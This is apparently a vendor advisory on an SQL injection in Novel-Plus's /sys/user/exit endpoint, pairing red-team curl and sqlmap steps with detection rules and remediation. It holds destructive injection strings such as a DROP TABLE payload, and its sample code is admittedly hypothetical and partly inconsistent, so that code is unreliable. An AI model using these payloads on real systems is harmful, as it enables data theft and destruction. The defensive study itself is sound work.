CVE-2024-24015

Executive Summary

CVE-2024-24015 is a critical SQL injection vulnerability discovered in Novel-Plus v4.3.0-RC1 and prior versions. The flaw resides in the /sys/user/exit endpoint, where the offset, limit, and sort parameters are not properly sanitized before being passed to SQL queries. An unauthenticated attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The vulnerability has a CVSS score of 0.0 due to incomplete scoring data, but based on the nature of the flaw, the actual severity is likely critical. No official patch has been released, and the vendor has not responded to disclosure attempts. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

Novel-Plus is a Java-based web application distributed as a Maven project. The vulnerability is in the application's own code, not in a third-party library. However, the lack of a patch means that any organization using this software is at risk. Users should consider forking the repository and applying a custom fix or migrating to an alternative solution.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the database.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – ability to modify or delete data.
• Availability (A): High (H) – potential for denial of service via SQL injection.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and full database compromise makes this a high-priority vulnerability.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the /sys/user/exit endpoint. The application uses MyBatis or a similar ORM framework, but the offset, limit, and sort parameters are concatenated directly into SQL queries without parameterization or escaping.

Vulnerable Code Snippet (Conceptual):

// Vulnerable: direct concatenation
String sql = "SELECT * FROM sys_user ORDER BY " + sort + " LIMIT " + limit + " OFFSET " + offset;

An attacker can inject SQL commands by providing malicious input in these parameters. For example:

• offset=0; DROP TABLE sys_user; --
• sort=username; SELECT * FROM sensitive_table; --

The injection occurs in the ORDER BY clause, which is often overlooked but is fully exploitable. The attacker can use UNION-based injection to extract data from other tables, or use blind SQL injection techniques to enumerate the database.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to /sys/user/exit?offset=0&limit=10&sort=username.
2. The application constructs a SQL query with the unsanitized sort parameter.
3. The database executes the malicious query, returning data or performing unintended actions.
4. The attacker receives the response, which may contain sensitive data or error messages that aid further exploitation.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus <= 4.3.0-RC1):

// In UserController.java or similar
@GetMapping("/exit")
public Result exit(@RequestParam int offset, @RequestParam int limit, @RequestParam String sort) {
    String sql = "SELECT * FROM sys_user ORDER BY " + sort + " LIMIT " + limit + " OFFSET " + offset;
    // Execute query...
}

Patched Code (Hypothetical Fix):

// Use parameterized queries or whitelist sorting columns
@GetMapping("/exit")
public Result exit(@RequestParam int offset, @RequestParam int limit, @RequestParam String sort) {
    // Whitelist allowed sort columns
    List<String> allowedSorts = Arrays.asList("username", "email", "create_time");
    if (!allowedSorts.contains(sort)) {
        sort = "username"; // default
    }
    // Use MyBatis parameterized query
    String sql = "SELECT * FROM sys_user ORDER BY ${sort} LIMIT #{limit} OFFSET #{offset}";
    // Note: ${sort} is still vulnerable if not whitelisted; use #{sort} with whitelist
}

Key Difference: The patched version uses a whitelist to restrict the sort parameter to known safe values, preventing arbitrary SQL injection. Additionally, the limit and offset parameters should be validated as integers.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Novel-Plus v4.3.0-RC1 or earlier.
• Network access to the /sys/user/exit endpoint.

Exploitation Steps:

1. Basic SQL Injection Detection:

   curl "http://target.com/sys/user/exit?offset=0&limit=10&sort=username"
   

   Normal response.

2. Test for Injection:

   curl "http://target.com/sys/user/exit?offset=0&limit=10&sort=username'"
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

3. Extract Database Version:

   curl "http://target.com/sys/user/exit?offset=0&limit=10&sort=username,@@version"
   

   This may return the database version in the response.

4. UNION-Based Data Extraction:

   curl "http://target.com/sys/user/exit?offset=0&limit=10&sort=username UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
   

   Adjust the number of columns to match the original query. Use error messages or response differences to determine the correct number.

5. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/sys/user/exit?offset=0&limit=10&sort=username" --batch --dbs
   

Lab Setup:

• Use Docker to deploy a vulnerable instance:

  docker pull novel-plus/novel-plus:4.3.0-RC1
  docker run -d -p 8080:8080 novel-plus/novel-plus:4.3.0-RC1
  

• Alternatively, clone the repository and build from source:

  git clone https://github.com/novel-plus/novel-plus.git
  cd novel-plus
  git checkout v4.3.0-RC1
  mvn clean package -DskipTests
  java -jar target/novel-plus.jar
  

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests to /sys/user/exit with suspicious sort, offset, or limit parameters (e.g., containing SQL keywords like UNION, SELECT, DROP).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Mitigation:

• Immediately restrict access to the /sys/user/exit endpoint to authenticated users only.
• Apply input validation: whitelist allowed sort columns, and ensure offset and limit are integers.
• If possible, apply a hotfix by modifying the source code to use parameterized queries.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /sys/user/exit with parameters containing SQL keywords (e.g., UNION, SELECT, ', --).
• Unusual response sizes or error messages containing SQL syntax errors.

File IOCs:

• Modified application logs showing SQL errors.
• Unexpected database dump files on the server.

System IOCs:

• Unusual database connections from the application server.
• New user accounts or modified permissions in the database.

Detection Engineering

YARA Rule

rule CVE_2024_24015_SQLi_NovelPlus {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-24015 in Novel-Plus"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24015"
    strings:
        $sqli1 = /sort=.*(?:UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#|')/i
        $sqli2 = /offset=.*(?:UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#|')/i
        $sqli3 = /limit=.*(?:UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#|')/i
        $path = "/sys/user/exit"
    condition:
        any of ($sqli*) and $path
}

Sigma Rule

title: Novel-Plus SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Novel-Plus /sys/user/exit endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/sys/user/exit'
        cs-uri-query|re: '(sort|offset|limit)=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#|'\'')'
    condition: selection
falsepositives:
    - Legitimate use of special characters in sort parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24015 Novel-Plus SQL Injection Attempt"; flow:to_server,established; content:"/sys/user/exit"; http_uri; pcre:"/(sort|offset|limit)=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#|')/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit access to the /sys/user/exit endpoint to authenticated users only. Use a reverse proxy or WAF to block unauthenticated requests.
2. Input Validation: Implement strict input validation for sort, offset, and limit parameters. Whitelist allowed sort columns and ensure numeric values for offset and limit.
3. Apply Hotfix: Modify the source code to use parameterized queries or a whitelist approach. Example fix:

   // In UserController.java
   @GetMapping("/exit")
   public Result exit(@RequestParam int offset, @RequestParam int limit, @RequestParam String sort) {
       List<String> allowedSorts = Arrays.asList("username", "email", "create_time");
       if (!allowedSorts.contains(sort)) {
           sort = "username";
       }
       // Use MyBatis with #{sort} (parameterized) instead of ${sort}
       // ...
   }
   

Long-Term Actions: 4. Upgrade: Monitor for an official patch from the vendor. If none is released, consider migrating to an alternative solution. 5. Security Audit: Conduct a full security audit of the application to identify similar vulnerabilities. 6. Web Application Firewall: Deploy a WAF with rules to block SQL injection patterns.

Workaround:

• If patching is not possible, disable the /sys/user/exit endpoint entirely by removing the mapping in the controller.

Valters IT